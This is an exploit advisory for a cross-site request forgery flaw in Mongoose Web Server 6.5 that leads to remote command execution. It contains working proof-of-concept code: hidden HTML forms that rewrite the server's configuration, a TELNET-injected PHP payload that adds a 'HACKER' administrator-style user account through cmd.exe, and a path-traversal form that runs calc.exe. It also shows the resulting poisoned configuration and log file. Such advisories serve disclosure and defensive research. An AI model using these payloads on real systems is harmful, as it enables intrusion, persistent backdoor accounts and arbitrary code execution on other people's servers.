Mongoose Web Server 6.5 - Cross-Site Request Forgery / Remote Code Execution

EDB-ID: 42614
Author: hyp3rlinx
Published: 2017-09-04
CVE: CVE-2017-11567
Type: Remote
Platform: Windows
Vulnerable App: N/A

 [+] Website: 
[+] Source:
[+] ISR: apparitionSec


Mongoose Web Server (Free Edition)

Mongoose - GitHub's most popular embedded web server
and multi-protocol networking library

Mongoose Embedded Web Server Library - Mongoose is more than an embedded webserver. It is a multi-protocol embedded networking library
with functions including TCP, HTTP client and server, WebSocket client and server, MQTT client and broker and much more.

Vulnerability Type:
CSRF - Command Execution

CVE Reference:

Security Issue:
Remote attackers who can lure a Mongoose web server user into clicking a malicious link or visit attacker controlled web page
can execute system commands on the system hosting Mongoose server. However, IF Mongoose web server is installed as service then
executing programs e.g. "calc.exe" may at times crash or fail to appear, but you may see it in Windows taskmgr.exe.
Therefore, from my tests commands may become unstable when Mongoose is run as a service.

When Mongoose is run standard mode attackers can potentially modify "Mongoose.conf" and create arbitrary files on server like .PHP etc.
to point Mongoose to this as its new "index" file. Then you need to tell Mongoose its "access_log_file" is the new attacker generated
file, after injecting commands into Mongoose web servers log file that will get excuted when log file is later requested.

This vulnerability requires CGI interpreter to be already set or some information about the target is known like the CGI path and language
"pl,php,cgi" used, so when we can set to use correct programming language when file is created during initial CRSF attack.

Note: If running commands with arguments, we have to use "\t" tab chars as using space will break our TELNET based code injection
to the server log.


GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> HTTP/1.1

OR just TELNET to Mongoose web server, inject arbitrary commands, then call exec by making another TELNET HTTP GET.

After Command Injection "Mongoose.conf" will be:

# Mongoose web server configuration file.
# For detailed description of every option, visit
# Lines starting with '#' and empty lines are ignored.
# To make a change, remove leading '#', modify option's value,
# save this file and then restart Mongoose.

# access_control_list
access_log_file C:\Mongoose.access.php <======= BOOM
# auth_domain
cgi_interpreter c:\xampp\php\php.exe <====== MUST BE SET
# cgi_pattern **.cgi$|**.pl$|**.php$
# dav_auth_file
# dav_root
# debug 0
document_root C:\
# enable_directory_listing yes
# error_log_file
# extra_headers
# extra_mime_types
# global_auth_file
# hide_files_patterns
# hexdump_file
index_files Mongoose.access.php <======== BOOM
# listening_port 8080
# run_as_user
# ssi_pattern **.shtml$|**.shtm$
# ssl_certificate
# ssl_ca_certificate
# start_browser yes
# url_rewrites

Mongoose log file Command Inject to create backdoor.

2017-07-24 03:12:40 - GET /__mg_admin 200 5234 -
2017-07-24 03:12:40 - GET /__mg_admin 200 5234 -
2017-07-24 03:12:30 - - GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> 400 0 -
2017-07-24 03:12:40 - GET /__mg_admin 200 5234 -
2017-07-24 03:12:40 - GET /__mg_admin?get_settings 200 4294967295
2017-07-24 03:12:40 - GET /__mg_admin?get_cfg_file_status 200 4294967295
2017-07-24 03:12:40 - GET /favicon.ico 404 0 -

Tested Windows 7.


1) add backdoor account POC.

<form action="" method="post">
<input type="hidden" name="access_log_file" value="Mongoose.access.php">
<input type="hidden" name="cgi_pattern" value="**.cgi$|**.pl$|**.php">
<input type="hidden" name="index_files" value="Mongoose.access.php">
<input type="hidden" name="cgi_interpreter" value="c:\xampp\php\php.exe">

2) TELNET x.x.x.x 8080
GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> HTTP/1.1



TELNET x.x.x.x 8080
GET / HTTP/1.1



Done, backdoor added!


1) run calc.exe POC.

<form action="" method="post">
<input type="hidden" name="cgi_pattern" value="**.cgi$|**.pl$|**.exe">
<input type="hidden" name="index_files" value="../../../../../../Windows/system32/calc.exe">
<input type="hidden" name="cgi_interpreter" value="../../../../../../Windows/system32/calc.exe">

2) TELNET x.x.x.x 8080
GET / HTTP/1.1



Network Access:


Disclosure Timeline:
Vendor Notification: July 23, 2017
Vendor Notification: July 28, 2017
Vendor Acknowledgement: July 31, 2017
Vendor Fixed released version 6.9 : September 4, 2017
September 4, 2017 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).


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